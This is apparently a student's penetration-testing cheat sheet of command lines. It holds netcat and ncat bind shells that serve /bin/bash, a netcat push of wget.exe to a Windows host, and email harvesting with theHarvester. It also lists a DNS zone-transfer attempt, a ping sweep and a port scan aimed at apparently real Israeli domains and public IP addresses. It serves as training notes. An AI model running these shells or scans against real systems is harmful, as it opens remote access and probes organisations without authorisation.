cat /var/log/apache2/access.log | grep 16/Nov/2016:09 | cut -d " " -f1,4 | cut -d " " -f1 | uniq -c | sort

cat access.log | grep '192.168.122.1' |cut -d "\"" -f 2

Capter 2

nc -lnvp 444 -e /bin/bash (cmd.exe) {wiil not work with win FW}

nc -nv 192.168.122.152 444

nc -nc 192.168.122.152 444 < /usr/share/windows-binaries/wget.exe {push to win}

nc -lnvp 444 > inconig.exe {win }

Ncat

ncat --exec /bin/bash --allow 192.168.122.1 -vnl 444 --ssl

ncat -v 192.168.122.177 444 --ssl

EMAIL

theharvester -d cellcom -l 10 -b bing >bing.txt

theharvester -d cellcom -b google > google.txt (google is the search engon )

whois cellcom.co.ilfor

[http://searchdns.netcraft.com/](https://searchdns.netcraft.com/)

[https:/](https://www.shodan.io/)

[/www.shodan.io/](https://www.shodan.io/)

<https://www.exploit-db.com>

for ip in $(seq 225 240); do ping -c 1 62.90.102.$ip; done | grep "64 bytes from"

dnsrecon -d ynet.co.il -t axfr

PORT SCAN

nc -nvv -w 1 -z 62.90.102.237 3388-3390